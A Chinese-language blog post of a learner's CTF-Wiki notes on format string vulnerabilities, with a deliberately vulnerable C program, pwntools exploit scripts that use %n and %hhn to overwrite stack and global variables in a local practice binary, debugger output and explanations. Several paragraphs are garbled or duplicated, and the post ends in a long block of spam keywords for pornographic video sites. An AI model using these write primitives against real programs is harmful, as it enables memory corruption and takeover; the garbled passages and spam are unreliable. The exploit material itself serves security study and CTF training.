    def forc():sh = process('./overwrite')c_addr = int(sh.recvuntil('\n', drop=True), 16)#原來是printf("%p\n",&c);drop=True表示接收\n之前的值,16表示以16進(jìn)制的形式。print hex(c_addr)payload = p32(c_addr) + '%012d' + '%6$n'print payloadgdb.attach(sh)sh.sendline(payload)print sh.recv()sh.interactive()forc()

    我用這個(gè)腳本去打我上面編譯出來的程序,發(fā)現(xiàn)c_addr一直接收不了,因?yàn)樵趐rintf("%p\n",&c);之前有一個(gè)scanf()語句,我發(fā)現(xiàn)就算是先send()一個(gè)數(shù)值也接收不到…于是我又用他的腳本編譯了一次。

    #include <stdio.h> int a = 123, b = 456; int main() {int c = 789;char s[100];printf("%p\n", &c);scanf("%s", s);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0; }

    關(guān)于pwntools里面的recvuntil腳本

    >>> t = tube() >>> t.recv_raw = lambda n: b"Hello World!" >>> t.recvuntil(b' ') b'Hello ' >>> _=t.clean(0) >>> # Matches on 'o' in 'Hello' >>> t.recvuntil((b' ',b'W',b'o',b'r')) b'Hello' >>> _=t.clean(0) >>> # Matches expressly full string >>> t.recvuntil(b' Wor') b'Hello Wor' >>> _=t.clean(0) >>> # Matches on full string, drops match >>> t.recvuntil(b' Wor', drop=True) b'Hello'

    結(jié)果如下

    devil@ubuntu:~$ python exp.py [+] Starting local process './overflow_1': pid 3817 0xff9583ac [*] running in new terminal: /usr/bin/gdb -q "./overflow_1" 3817 -x "/tmp/pwnyrtF2W.gdb" [+] Waiting for debugger: Done \xac\x83\x95\xffaaaaaaaaaaaamodified c.[*] Switching to interactive mode [*] Process './overflow_1' stopped with exit code 0 (pid 3817) [*] Got EOF while reading in interactive

    terminal里面的結(jié)果如下

    gef? b printf Breakpoint 1 at 0xf7deb670: file printf.c, line 28. gef? c Continuing.Breakpoint 1, __printf (format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xff958348 → 0xff9583ac → 0x00000315 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7f5587c → 0x00000000 $esp : 0xff95832c → 0x080484d7 → <main+76> add esp, 0x10 $ebp : 0xff9583b8 → 0x00000000 $esi : 0xf7f54000 → 0x001b1db0 $edi : 0xf7f54000 → 0x001b1db0 $eip : 0xf7deb670 → <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff95832c│+0x0000: 0x080484d7 → <main+76> add esp, 0x10 ← $esp 0xff958330│+0x0004: 0xff958348 → 0xff9583ac → 0x00000315 0xff958334│+0x0008: 0xff958348 → 0xff9583ac → 0x00000315 0xff958338│+0x000c: 0x000000c2 0xff95833c│+0x0010: 0xf7e326bb → <handle_intel+107> add esp, 0x10 0xff958340│+0x0014: 0xff95836e → 0xffff0000 0xff958344│+0x0018: 0xff95846c → 0xff95a323 → "QT_QPA_PLATFORMTHEME=appmenu-qt5" 0xff958348│+0x001c: 0xff9583ac → 0x00000315 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7deb667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7deb66d nop 0xf7deb66e xchg ax, ax→ 0xf7deb670 <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax>? 0xf7ec1b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7ec1b5c <__x86.get_pc_thunk.ax+3> ret 0xf7ec1b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7ec1b60 <__x86.get_pc_thunk.dx+3> ret 0xf7ec1b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7ec1b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow_1", stopped 0xf7deb670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7deb670 → __printf(format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") [#1] 0x80484d7 → main() ──────────────────────────────────────────────────────────────────────────────── gef? c Continuing. [Inferior 1 (process 3817) exited normally]

    結(jié)果輸出modified c,說明c的值的確被修改成了16.

    覆蓋任意地址內(nèi)存

    覆蓋小數(shù)字

    首先,我們來考慮一下如何修改data段的變量為一個(gè)較小的數(shù)字,比如說,小于機(jī)器字長的數(shù)字。這里以 2 為例。可能會覺得這其實(shí)沒有什么區(qū)別,可仔細(xì)一想,真的沒有么?如果我們還是將要覆蓋的地址放在最前面,那么將直接占用機(jī)器字長個(gè) (4 或 8) 字節(jié)。顯然,無論之后如何輸出,都只會比 4 大。

    或許我們可以使用整型溢出來修改對應(yīng)的地址的值,但是這樣將面臨著我們得一次輸出大量的內(nèi)容。而這,一般情況下,基本都不會攻擊成功。

    那么我們應(yīng)該怎么做呢?再仔細(xì)想一下,我們有必要將所要覆蓋的變量的地址放在字符串的最前面么?似乎沒有,我們當(dāng)時(shí)只是為了尋找偏移,所以才把 tag 放在字符串的最前面,如果我們把 tag 放在中間,其實(shí)也是無妨的。類似的,我們把地址放在中間,只要能夠找到對應(yīng)的偏移,其照樣也可以得到對應(yīng)的數(shù)值。前面已經(jīng)說了我們的格式化字符串對應(yīng)的地址為格式化字符串的第 6 個(gè)參數(shù)。由于我們想要把 2 寫到對應(yīng)的地址處,故而格式化字符串的前面的字節(jié)必須是

    aa%k$nxx //'k$'表示獲取格式化字符串中的第k個(gè)參數(shù),'%n'表示把已經(jīng)成功輸出的字符個(gè)數(shù)寫入對應(yīng)的整型指針參數(shù)所指的變量。這里已經(jīng)成功輸出的字符為'aa',所以把2寫入地址為a_addr處,也就是把a(bǔ)的值覆蓋為2.

    此時(shí)對應(yīng)的存儲的格式化字符串(%knxx)已經(jīng)占據(jù)了6個(gè)字符的位置,如果我們再添加兩個(gè)字符aa,那么其實(shí)aanxx)已經(jīng)占據(jù)了6個(gè)字符的位置,如果我們再添加兩個(gè)字符aa,那么其實(shí)aa%k就是第6個(gè)參數(shù)(4個(gè)字符為1個(gè)參數(shù)),nxx)經(jīng)據(jù)6個(gè)個(gè)aa實(shí)aanxx其實(shí)就是第7個(gè)參數(shù),后面我們?nèi)绻衔覀円采w的地址,那就是第8個(gè)參數(shù),所以如果我們這里設(shè)置k為8,其實(shí)就可以覆蓋了。

    利用 ida 可以得到 a 的地址為 0x0804A024(由于 a、b 是已初始化的全局變量,因此不在堆棧中)。

    .data:0804A024 public a .data:0804A024 a dd 7Bh ; DATA XREF: main:loc_80484F4↑r .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510↑r .data:0804A028 _data ends

    故而我們可以構(gòu)造如下的利用代碼

    from pwn import * def fora():sh = process('./overflow_1')a_addr = 0x0804A024payload = 'aa%8$naa' + p32(a_addr)sh.sendline(payload)print sh.recv() sh.interactive() fora()

    對應(yīng)的結(jié)果如下

    devil@ubuntu:~$ python test.py [+] Starting local process './overflow_1': pid 5353 0xff820b7c aaaa$\xa0\x04modified a for a small number.[*] Switching to interactive mode [*] Process './overflow_1' stopped with exit code 0 (pid 5353) [*] Got EOF while reading in interactive

    小技巧:我們沒有必要必須把地址放在最前面,放在哪里都可以,只要我們可以找到其對應(yīng)的偏移即可。

    覆蓋大數(shù)字

    上面介紹了覆蓋小數(shù)字,接下來介紹一下覆蓋大數(shù)字。上面我們說了,我們可以選擇直接一次性輸出大數(shù)字個(gè)字節(jié)來進(jìn)行覆蓋,但是這樣基本也不會成功,因?yàn)樘L了。而且即使成功,我們一次性等待的時(shí)間也太長了,那么有沒有什么比較好的方式呢?__當(dāng)然有!(不然還寫個(gè)p的筆記)

    不過在介紹之前,我們得先再簡單了解一下,變量在內(nèi)存中的存儲格式。首先,所有的變量在內(nèi)存中都是以字節(jié)進(jìn)行存儲的。此外,在x86和x64的體系結(jié)構(gòu)中,變量的存儲格式為小端存儲,即最低有效位存儲在低地址(和我們通常習(xí)慣的順序相反)。

    舉個(gè)例子,0x12345678在內(nèi)存中由低地址到高地址依次為\x78\x56\x34\x12。再者,我們可以回憶一下格式化字符串里面的標(biāo)志,可以發(fā)現(xiàn)有這么兩個(gè)標(biāo)志:

    hh 對于整數(shù)類型,printf期待一個(gè)從char提升的int尺寸的整型參數(shù)。輸出一個(gè)字節(jié) h 對于整數(shù)類型,printf期待一個(gè)從short提升的int尺寸的整型參數(shù)。輸出一個(gè)雙字節(jié)

    所以說,我們可以利用 %hhn 向某個(gè)地址寫入單字節(jié),利用 %hn 向某個(gè)地址寫入雙字節(jié)。這里,我們以單字節(jié)為例。

    我們準(zhǔn)備覆蓋b的值,先用ida看一下b的地址為多少

    .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF:

    可以看出,b的地址為0x0804A028

    我們希望將按照如下方式進(jìn)行覆蓋,前面為覆蓋地址,后面為覆蓋內(nèi)容。

    0x0804A028 \x78 0x0804A029 \x56 0x0804A02a \x34 0x0804A02b \x12

    我們在前面確定相對偏移的過程中確定了格式化字符串的地址是格式化字符串的第6個(gè)參數(shù)。所以我們的payload基本上如下

    p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3'%8$n'+pad4'%9$n'

    給出一個(gè)基本構(gòu)造如下:

    from pwn import * def fmt(prev,word,index):if prev < word: #傳過來的word依次為0x78,0x56,0x34,0x12;傳過來的prev依次為4,0x78,0x56,0x34result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" print(fmtstr)return fmtstrdef fmt_str(offset,size,addr,target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev,(target >> i * 8)& 0xff,offset + i)#乘法運(yùn)算優(yōu)先級高于左移運(yùn)算,右移8位是二進(jìn)制的8位,轉(zhuǎn)成16進(jìn)制之后就是每次右移兩位。'&0xff'目的是除了最右邊兩位不變,其它位都置零。prev = (target >> i * 8) & 0xff #prev的初值為4,之后依次為0x78,0x56,0x34,0x12return payload payload = fmt_str(6,4,0x0804A028,0x12345678)

    其中每個(gè)參數(shù)的含義基本如下

    • offset表示要覆蓋的地址的最初的偏移
    • size表示機(jī)器字長
    • addr表示將要覆蓋的地址
    • target表示我們要覆蓋為的目的變量值

    說實(shí)話一開始沒太看懂這個(gè)payload的構(gòu)造,于是我一步步分析了程序并先打印了這個(gè)fmt()函數(shù)的運(yùn)行結(jié)果

    python運(yùn)算中,乘法優(yōu)先級在右移優(yōu)先級之前。

    pre1 = (0x12345678) >> 0 * 8

    pre1 --> 0x12345678

    pre2 = pre1 & 0xff

    pre2 -->0x78

    fmt函數(shù)運(yùn)行結(jié)果如下

    %104c%6hhnhhn %222c%7hhnhhn
    %222c%8hhnhhn %222c%9hhnhhn

    payload結(jié)果如下

    (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6hhnhhn%222c%7hhnhhn%222c%8hhnhhn%222c%9hhnhhn

    payload前面一段是p32形式的攻擊地址 后面%(num)c%(index)$hhn表示向第index個(gè)參數(shù)處以單字節(jié)的形式寫入特定數(shù)值[0x78,0x56,0x34,0x12]

    完整的exploit如下

    #-*- coding=utf-8 -*- from pwn import * def fmt(prev,word,index):if prev < word: #傳過來的word依次為0x78,0x56,0x34,0x12;傳過來的prev依次為0x10,0x78,0x56,0x34result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" print(fmtstr)return fmtstrdef fmt_str(offset,size,addr,target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev,(target >> i * 8)& 0xff,offset + i)#乘法運(yùn)算優(yōu)先級高于左移運(yùn)算,右移8位是二進(jìn)制的8位,轉(zhuǎn)成16進(jìn)制之后就是每次右移兩位。'&0xff'目的是除了最右邊兩位不變,其它位都置零。prev = (target >> i * 8) & 0xff #prev的初值為4,之后依次為0x78,0x56,0x34,0x12return payload def proc():sh = process("./overflow_1")payload = fmt_str(6,4,0x0804A028,0x12345678)print(payload)sh.sendline(payload)print(sh.recv())sh.interactive()proc()

    結(jié)果如下

    devil@ubuntu:~$ python exploit.py [+] Starting local process './overflow_1': pid 2780 %104c%6$hhn %222c%7$hhn %222c%8$hhn %222c%9$hhn (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn 0xff97f18c (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04 ( � \xbb Nmodified b for a big number![*] Switching to interactive mode [*] Got EOF while reading in interactive

    fmt()函數(shù)里的else部分我看了好久都沒弄明白,為什么第一次寫入0x78,后面還能寫入0x56,0x34,0x12。因?yàn)閷懭氲闹凳歉鶕?jù)前面成功輸出的字符個(gè)數(shù)來決定的,怎么會越寫越小呢?

    else:result = 256 + word - prevfmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn"

    result = 256 + word - prev,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我們想要寫入的第二個(gè)值,那么為什么又要加256呢?

    %hhn是具有溢出功能的,前面成功輸出的字符個(gè)數(shù)超過255就會從0重新開始計(jì)數(shù)(比如260就相當(dāng)于260-256=4)。所以加256并不影響結(jié)果,那這里為什么要加256呢?因?yàn)閣ord-prev的值是負(fù)數(shù),不能直接使用%[num]c (num為負(fù)數(shù)),于是先加256,在后面計(jì)算輸出字符個(gè)數(shù)的時(shí)候會自動(dòng)減去256。這時(shí)候就相當(dāng)于寫入了0x56,后面的0x34,0x12依次類推。

    當(dāng)然,我們也可以利用 %n 分別對每個(gè)地址進(jìn)行寫入,也可以得到對應(yīng)的答案,但是由于我們寫入的變量都只會影響由其開始的四個(gè)字節(jié),所以最后一個(gè)變量寫完之后,我們可能會修改之后的三個(gè)字節(jié),如果這三個(gè)字節(jié)比較重要的話,程序就有可能因此崩潰。而采用 %hhn 則不會有這樣的問題,因?yàn)檫@樣只會修改相應(yīng)地址的一個(gè)字節(jié)。

    上面是CTF-Wiki寫的,我個(gè)人的理解是用%n寫入0x12345678這個(gè)數(shù)據(jù),%n是把已經(jīng)成功輸出字符的個(gè)數(shù)寫入對應(yīng)指針指向的整型(int)變量,整型(int)變量占4個(gè)字節(jié),但是使用%hhn只會修改1個(gè)字節(jié)。

    � \xbb Nmodified b for a big number!

    [] Switching to interactive mode
    [] Got EOF while reading in interactive

    fmt()函數(shù)里的else部分我看了好久都沒弄明白,為什么第一次寫入0x78,后面還能寫入0x56,0x34,0x12。因?yàn)閷懭氲闹凳歉鶕?jù)前面成功輸出的字符個(gè)數(shù)來決定的,怎么會越寫越小呢?```python else:result = 256 + word - prevfmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn"

    result = 256 + word - prev,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我們想要寫入的第二個(gè)值,那么為什么又要加256呢?

    %hhn是具有溢出功能的,前面成功輸出的字符個(gè)數(shù)超過255就會從0重新開始計(jì)數(shù)(比如260就相當(dāng)于260-256=4)。所以加256并不影響結(jié)果,那這里為什么要加256呢?因?yàn)閣ord-prev的值是負(fù)數(shù),不能直接使用%[num]c (num為負(fù)數(shù)),于是先加256,在后面計(jì)算輸出字符個(gè)數(shù)的時(shí)候會自動(dòng)減去256。這時(shí)候就相當(dāng)于寫入了0x56,后面的0x34,0x12依次類推。

    當(dāng)然,我們也可以利用 %n 分別對每個(gè)地址進(jìn)行寫入,也可以得到對應(yīng)的答案,但是由于我們寫入的變量都只會影響由其開始的四個(gè)字節(jié),所以最后一個(gè)變量寫完之后,我們可能會修改之后的三個(gè)字節(jié),如果這三個(gè)字節(jié)比較重要的話,程序就有可能因此崩潰。而采用 %hhn 則不會有這樣的問題,因?yàn)檫@樣只會修改相應(yīng)地址的一個(gè)字節(jié)。

    上面是CTF-Wiki寫的,我個(gè)人的理解是用%n寫入0x12345678這個(gè)數(shù)據(jù),%n是把已經(jīng)成功輸出字符的個(gè)數(shù)寫入對應(yīng)指針指向的整型(int)變量,整型(int)變量占4個(gè)字節(jié),但是使用%hhn只會修改1個(gè)字節(jié)。

    總結(jié)

    以上是生活随笔為你收集整理的跟着CTF-Wiki学pwn|格式化字符串(1)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    久久成人国产精品 | 在线欧美小视频 | 亚洲欧美在线视频免费 | 天天拍天天草 | 久久久综合九色合综国产精品 | 国产一级特黄电影 | 日本久久高清视频 | 日本三级大片 | 久艹视频免费观看 | 四虎成人精品永久免费av九九 | 免费看的黄色的网站 | 久久国产视屏 | www.五月天婷婷 | 亚洲一级二级 | 久久免费看毛片 | 久久人人爽人人人人片 | 久久久免费在线观看 | 欧美性精品 | 成人avav | 九七人人干 | 最近中文字幕完整高清 | 久久国产一区二区三区 | 亚洲午夜久久久久久久久电影网 | 亚洲成人资源在线 | 色婷婷色| 国产日韩视频在线播放 | 蜜臀av夜夜澡人人爽人人桃色 | 久草视频观看 | 最近高清中文在线字幕在线观看 | 成av人电影 | 成年人在线播放视频 | 国产精彩视频一区 | 久久国产免费 | 国产精品久久艹 | 日韩h在线观看 | 黄色综合 | 久久精品99国产精品亚洲最刺激 | 久久综合精品国产一区二区三区 | 91精品网站在线观看 | 91九色视频 | 极品国产91在线网站 | 久久久久久久久久伊人 | 欧美性色综合网站 | 九九99视频 | 激情婷婷在线观看 | 热久久免费视频 | 久久免费在线视频 | 91成人精品一区在线播放69 | 最近中文字幕高清字幕免费mv | 三级视频片 | 亚洲永久精品视频 | 久久再线视频 | 欧美 亚洲 另类 激情 另类 | 91激情在线视频 | 久久综合久色欧美综合狠狠 | 97成人免费 | 国产色视频一区 | 色干综合| 色综合天天天天做夜夜夜夜做 | 日本中文字幕在线免费观看 | 久草电影免费在线观看 | 综合在线观看色 | 91麻豆精品国产91久久久无需广告 | 亚洲免费色 | 在线国产视频观看 | 国产一级高清 | 一区二区三区免费在线观看 | av丝袜制服 | 午夜成人免费电影 | 激情综合五月天 | 精品色综合 | 国产亚洲成人精品 | 中文字幕第 | 黄色成人在线网站 | 成人在线免费小视频 | 久久99久久99免费视频 | 国产精品热视频 | 午夜在线免费观看 | 99精品免费视频 | 中中文字幕av | 欧美激情在线网站 | 久99久视频| 国产精品99久久久久久久久 | 国产午夜精品一区二区三区在线观看 | 成片人卡1卡2卡3手机免费看 | www.久艹| 一区二区三区av在线 | 99中文在线 | 欧美a级在线免费观看 | 在线观看成人一级片 | 精品国产电影一区 | 在线观看av小说 | 免费观看的av网站 | 91视频久久久 | 亚洲网久久| 亚洲国产中文字幕在线视频综合 | 在线免费av电影 | 久久99国产精品久久 | 夜夜天天干 | 在线视频久 | 超碰av在线 | 午夜.dj高清免费观看视频 | 综合久久网站 | 亚洲最新在线视频 | 国产精品欧美久久久久三级 | 96av在线视频 | 人人擦 | 欧美日韩性视频在线 | 国产一二三区av | 久草在线视频网站 | 国产精品福利在线 | 免费av网站在线 | 日日干天天爽 | 日韩女同一区二区三区在线观看 | 在线视频亚洲 | 国产中文欧美日韩在线 | 成人免费毛片aaaaaa片 | 国内偷拍精品视频 | 在线免费观看av网站 | 亚洲一区二区三区四区在线视频 | a黄色| 免费日韩 精品中文字幕视频在线 | 国产精品久久电影观看 | 日韩动漫免费观看高清完整版在线观看 | avove黑丝| 一区二区精品久久 | 国产午夜在线观看 | 91麻豆文化传媒在线观看 | 日韩在线电影 | 韩日电影在线观看 | 久久96国产精品久久99软件 | 国产精品久久久久久久久久久免费看 | 麻豆视频免费看 | 全黄色一级片 | 激情图片久久 | 日韩欧美99 | 久久久噜噜噜久久久 | 久久精品一二三区 | 中文字幕在线观看第三页 | 欧美精品久 | 国产精品久久久久一区 | 成人a视频 | 国产精品美女久久久久久久久 | 丰满少妇在线观看资源站 | 久久久久成人精品 | 国产精品午夜久久久久久99热 | 91九色在线观看视频 | 99久久精品国产免费看不卡 | 亚洲精品999| 91精品一区二区三区蜜臀 | 99色在线视频 | 97国产一区二区 | 国产99久久99热这里精品5 | 玖玖综合网 | 男女全黄一级一级高潮免费看 | 日韩在线字幕 | 日本激情视频中文字幕 | 亚洲视频axxx | 999久久久精品视频 日韩高清www | 国产精品久久婷婷六月丁香 | 97视频在线免费播放 | 九九久久视频 | 黄色av高清 | 激情网第四色 | 亚洲片在线观看 | 天天操天天摸天天爽 | 亚洲精品中文字幕视频 | 国产精品嫩草影视久久久 | 婷婷色中文字幕 | 亚洲黄色高清 | 日韩在线观看免费 | 欧美精品久久久久久久久久白贞 | 亚洲视频1 | 人人爽人人爽 | 美女视频黄是免费的 | 成人久久18免费 | 激情视频综合网 | 九九色在线观看 | 欧美性一级观看 | 久久久久久久久久久影视 | 日韩精品资源 | 婷婷香蕉 | 亚洲天堂精品视频 | 亚州国产精品视频 | 日本护士三级少妇三级999 | 精品专区一区二区 | 天天干天天草天天爽 | 欧美激情第十页 | 婷婷综合视频 | 日韩av一区二区三区 | 日韩av进入 | 亚洲综合网站在线观看 | 亚洲视频www| 国产成人三级 | 久久婷婷五月综合色丁香 | 免费中文字幕在线观看 | 欧美成人精品欧美一级乱 | 国产黄大片 | 久久久久久久99 | 亚洲高清在线观看视频 | 在线亚洲午夜片av大片 | 日韩精品久久久 | 丁香花在线观看免费完整版视频 | 婷婷婷国产在线视频 | 国产剧情一区二区 | 黄网站色成年免费观看 | 天天干夜夜| 精品视频在线看 | 国产午夜精品免费一区二区三区视频 | 91传媒免费在线观看 | 免费av的网站 | 久久久久欧美精品999 | 麻豆传媒一区二区 | 成人91在线观看 | 27xxoo无遮挡动态视频 | 嫩草91影院 | 精品亚洲成人 | 亚洲精品午夜一区人人爽 | 日韩av高清| 久久久久国产精品免费免费搜索 | 亚洲一级免费观看 | 一区二区三区在线免费观看视频 | 五月天激情电影 | 91成人天堂久久成人 | 特级西西444www大精品视频免费看 | 久久8| 精品综合久久 | 久草电影免费在线观看 | 久久综合色天天久久综合图片 | 欧美日韩视频在线观看一区二区 | 91在线资源| 三级av在线播放 | 一区二区三区免费 | 久久99免费| 国产精品不卡在线播放 | 91黄色在线看 | 顶级欧美色妇4khd | 婷婷五月在线视频 | 99精品在线视频播放 | 在线观看日本韩国电影 | 欧美精品一级视频 | 天天操天天干天天操天天干 | 久久嗨| 综合国产在线观看 | 91精品一区在线观看 | 日韩美女黄色片 | 欧美另类一二三四区 | 91看片网址 | 久久激情小说 | 午夜成人免费电影 | 97人人模人人爽人人少妇 | 狠狠干天天干 | 国产视频 亚洲精品 | 岛国大片免费视频 | 欧美日韩1区| 天天干天天看 | 国外成人在线视频网站 | 伊人久久电影网 | 500部大龄熟乱视频 欧美日本三级 | 欧美日韩视频在线一区 | 亚洲视频,欧洲视频 | 色资源网免费观看视频 | 蜜臀av性久久久久av蜜臀妖精 | a午夜电影 | 91九色视频在线 | 2021国产视频| 久久高清毛片 | 黄色软件在线观看免费 | 91av官网| 国产精品国产三级国产 | 中文字幕在线看视频 | 免费日韩高清 | 欧美视屏一区二区 | 日日夜夜狠狠干 | 国产视频观看 | 国产精品小视频网站 | 中文字幕精| 黄色三级网站在线观看 | 激情电影在线观看 | 午夜久久福利 | 伊人久操| avwww在线观看 | 最近中文字幕国语免费高清6 | 国产精品v欧美精品 | 九精品| 狠狠躁日日躁狂躁夜夜躁 | 美女亚洲精品 | 中文字幕文字幕一区二区 | 日韩精品久久久久久久电影99爱 | 亚洲综合色婷婷 | 国产精品永久免费在线 | 天天干夜夜爱 | 日韩在线免费小视频 | 欧美地下肉体性派对 | 网站在线观看日韩 | 国产成人av免费在线观看 | av在线电影播放 | 欧美日产在线观看 | 日日干美女 | 欧美网址在线观看 | 天天综合网天天综合色 | 91在线视频网址 | 亚洲视屏一区 | 国产精品短视频 | 欧美精品久久久久 | 成人在线视频你懂的 | 欧美成人91| 日韩在线观看视频一区二区三区 | 欧美性黄网官网 | 亚洲精品国产拍在线 | 狠狠色丁香婷婷综合久小说久 | 亚洲欧美日韩精品久久奇米一区 | 国产这里只有精品 | 精品五月天 | 综合在线观看色 | 特级西西人体444是什么意思 | 国产h片在线观看 | 免费视频一二三 | 香蕉在线观看视频 | 日本高清dvd | 久久国产一区二区 | 三上悠亚一区二区在线观看 | 久久在线视频精品 | 久久综合一本 | 97精品国产97久久久久久粉红 | 夜夜天天干 | 日韩亚洲国产中文字幕 | 亚洲国产中文字幕在线观看 | 波多野结衣电影一区二区三区 | 久久久国产精品网站 | www日日| 久草在线视频首页 | 在线午夜av | 国产区av在线 | 色婷婷97 | 天堂在线v | 欧美色图30p | 亚洲精品自拍视频在线观看 | 超级碰视频 | 日韩精品第一区 | 精品999 | 免费av视屏| 国产不卡一二三区 | 国产精品美女久久久久久2018 | 色com网| 一级成人免费视频 | 亚洲精品激情 | 日韩午夜网站 | 成人免费观看av | 九九视频精品在线 | 国产韩国日本高清视频 | 91片在线观看 | 成人一区二区三区中文字幕 | 九九欧美视频 | 人人藻人人澡人人爽 | 精品视频网站 | 久草久草久草久草 | 国产中文视 | 成人在线免费视频观看 | 中文字幕在线观看第二页 | 色综合色综合久久综合频道88 | 国产精品精品国产色婷婷 | 日韩有码第一页 | 欧美国产不卡 | 超碰在线资源 | 在线免费观看视频一区二区三区 | 中文字幕在线观看91 | 香蕉网在线 | 欧美一级淫片videoshd | 欧美午夜精品久久久久久孕妇 | 五月婷婷深开心 | 91漂亮少妇露脸在线播放 | 国产毛片久久久 | 成人久久免费 | 91在线视频网址 | 韩国精品一区二区三区六区色诱 | 日韩成人免费在线观看 | 欧美一级片免费 | 欧美激情在线网站 | 日韩高清激情 | 日韩av电影一区 | 日韩av电影免费在线观看 | 亚洲一区二区三区在线看 | 精品免费久久 | 亚洲成人黄色在线 | 91免费视频国产 | 中文字幕精品一区久久久久 | 婷婷激情影院 | 国产免费av一区二区三区 | 日韩av成人在线观看 | 国产精品ssss在线亚洲 | 欧美一区二区视频97 | 国产精品亚洲综合久久 | 亚洲欧美国产精品18p | 婷婷天天色 | 九九视频在线观看视频6 | 久久久久国产成人精品亚洲午夜 | 久久婷婷色| 99超碰在线播放 | 久久中文网 | 美女视频是黄的免费观看 | 亚洲人成网站精品片在线观看 | 涩涩成人在线 | 国产亚洲综合精品 | 九九欧美 | 在线观看片 | 久久免费精品一区二区三区 | 国产精品videossex国产高清 | 国产一级黄色免费看 | 国产视频欧美视频 | 天天天天天天天天操 | 亚洲 欧洲 国产 精品 | 免费日韩 精品中文字幕视频在线 | 日本中出在线观看 | 日韩av中文 | 91免费高清视频 | 一区二区在线影院 | 99色婷婷 | 人人插人人澡 | 久久久久久久av | 五月天.com | 99精品免费久久久久久日本 | 五月天高清欧美mv | 欧美激情精品久久久久久变态 | 97偷拍视频 | 久久久久久久久福利 | 国产日产欧美在线观看 | 精品免费国产一区二区三区四区 | 日韩欧美xxxx | 四虎影视成人永久免费观看亚洲欧美 | 97国产一区 | 欧美一区二区日韩一区二区 | 国产成人一区二区精品非洲 | 精品欧美在线视频 | 亚洲午夜电影网 | 国产欧美高清 | 高清一区二区 | 狠狠插天天干 | 成人黄色在线观看视频 | 久久99精品久久久久久久久久久久 | 国产亚洲综合在线 | 8x成人免费视频 | 精品美女国产在线 | 国内视频在线 | 贫乳av女优大全 | 国内外成人在线 | 色插综合 | 免费午夜av | 色瓜| 又色又爽又激情的59视频 | 中文字幕在线看视频国产 | 人人看黄色 | 黄色av网站在线观看 | 日韩精品在线免费观看 | 夜夜骑日日操 | ww亚洲ww亚在线观看 | 在线观看视频国产一区 | 人人干网站 | 欧美特一级 | 一区二区三区四区五区在线视频 | 亚洲国产电影在线观看 | 天天干,夜夜操 | 99精品久久久久久久 | www.久久久com | 黄a网站 | 园产精品久久久久久久7电影 | 亚洲国产三级 | 日本女人的性生活视频 | 成人午夜精品福利免费 | 女人高潮一级片 | 丁香花在线视频观看免费 | 日韩一区在线播放 | 久久视频网 | 国产精品综合久久久久 | 精品久久久久久国产 | 日韩精品免费专区 | 黄色网址av | 91av中文字幕 | 青青河边草免费观看完整版高清 | 国产视频精品久久 | 欧美人操人 | 久久国产精品99国产精 | 欧美精品做受xxx性少妇 | 国产精品丝袜久久久久久久不卡 | 香蕉网在线观看 | 一区二区视频在线播放 | 亚洲精品视频一二三 | 99热在| 九九热在线免费观看 | wwwav视频| 91黄色影视 | 欧美做受高潮1 | 国产盗摄精品一区二区 | 久久国产精品久久久久 | 国产色区 | 国产高清99| 亚洲天堂网在线观看视频 | 久久久久免费网站 | 在线视频日韩欧美 | 一区二区三区电影大全 | 最近中文字幕在线播放 | 国产成人黄色网址 | 国产欧美精品在线观看 | 日本福利视频在线 | 亚洲精品国偷拍自产在线观看蜜桃 | 日日操天天操夜夜操 | av观看在线观看 | 丁香 婷婷 激情 | av高清一区二区三区 | 久久久久久久99精品免费观看 | 日日操天天射 | 在线免费中文字幕 | 天天射天天色天天干 | 特级黄色一级 | 